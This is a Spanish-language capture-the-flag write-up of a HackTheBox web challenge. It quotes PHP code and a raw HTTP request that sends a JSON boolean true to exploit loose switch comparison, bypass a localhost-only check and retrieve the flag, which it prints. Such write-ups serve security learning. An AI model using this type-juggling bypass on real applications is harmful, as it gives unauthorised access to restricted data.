Juggling Facts
Challenge Description
An organization seems to possess knowledge of the true nature of pumpkins. Can you find out what they honestly know and uncover this centuries-long secret once and for all?
Categoria: Web
Dificultad: Muy Fácil
Solution
Analizando el codigo tenemos un endpoint que recibe el parametro type en json.
challenge/static/js/index.js
const loadfacts = async (fact_type) => {
await fetch('/api/getfacts', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ 'type': fact_type })
})
.then((response) => response.json())
.then((res) => {
if (!res.hasOwnProperty('facts')){
populate([]);
return;
}
populate(res.facts);
});
}
La siguiente parte del codigo nos muestra que si ingresamos secrets solo se podra acceder desde localhost. Sin embargo hay una comprobacion con la funcion switch.
public function getfacts($router)
{
$jsondata = json_decode(file_get_contents('php://input'), true);
if ( empty($jsondata) || !array_key_exists('type', $jsondata))
{
return $router->jsonify(['message' => 'Insufficient parameters!']);
}
if ($jsondata['type'] === 'secrets' && $_SERVER['REMOTE_ADDR'] !== '127.0.0.1')
{
return $router->jsonify(['message' => 'Currently this type can be only accessed through localhost!']);
}
switch ($jsondata['type'])
{
case 'secrets':
return $router->jsonify([
'facts' => $this->facts->get_facts('secrets')
]);
Segun el PHP Manual la funcion switch actua como un IF entonces si le pasamos un valor true el primer caso se cumplira. En esta situacion el type secrets sera verdadero y nos dara la flag.
Como el codigo no valida que tipo de informacion le estamos pasando bastara con escribir directamente true.
POST /api/getfacts HTTP/1.1
Host: 94.237.55.238:47023
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/json
Content-Length: 13
{"type":true}
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 18 Feb 2025 16:13:42 GMT
Content-Type: application/json; charset=utf-8
Connection: keep-alive
Content-Length: 83
{"facts":[{"id":19,"fact":"HTB{juggl1ng_1s_d4ng3r0u5!!!}","fact_type":"secrets"}]}